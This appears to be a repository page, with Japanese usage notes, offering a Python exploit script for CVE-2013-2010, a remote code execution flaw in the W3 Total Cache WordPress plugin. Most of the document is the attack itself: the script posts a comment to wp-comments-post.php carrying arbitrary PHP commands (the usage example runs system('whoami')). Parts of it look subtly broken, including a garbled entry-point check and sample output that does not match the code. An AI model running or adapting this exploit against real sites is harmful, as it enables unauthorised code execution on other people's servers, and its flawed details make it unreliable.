w3-total-cache-cve-2013-2010

W3 Total Cache CVE-2013-2010 上でのリモートコード実行

使い方: python3 w3tc_rce_exploit.py -u http://example.com -p "system('whoami');"

出力: [*] 対象: http://example.com [+] ペイロードが正常に送信されました。 [+] ターゲットでペイロードの実行を確認してください。

import requests import argparse

def exploit_rce(target_url, payload): """Exploit the RCE vulnerability by sending a crafted comment.""" # Construct the URL for posting a comment post_url = f"{target_url}/wp-comments-post.php"

# Prepare the payload for the comment
data = {
    'author': 'attacker',
    'email': '[email protected]',
    'url': 'http://example.com',
    'comment': payload,
    'submit': 'Submit Comment',
    'post_id': 1  # Assuming post ID 1 exists; adjust as necessary
}

try:
    # Send the POST request
    response = requests.post(post_url, data=data)
    
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Check the target for execution of the payload.")
    else:
        print("[-] Failed to send payload.")
        print(f"Status Code: {response.status_code}")

except Exception as e:
    print(f"Error during exploitation: {str(e)}")

def main(): parser = argparse.ArgumentParser(description='Exploit CVE-2013-2010 in W3 Total Cache') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-p', '--payload', required=True, help='PHP code to execute')

args = parser.parse_args()

target_url = args.url.rstrip('/')

# Construct a malicious payload (e.g., a simple PHP command)
php_payload = f"<?php {args.payload} ?>"

print(f"[*] Targeting: {target_url}")

exploit_rce(target_url, php_payload)

if name == "main": main()

w3-total-cache-cve-2013-2010

人気

w3-total-cache-cve-2013-2010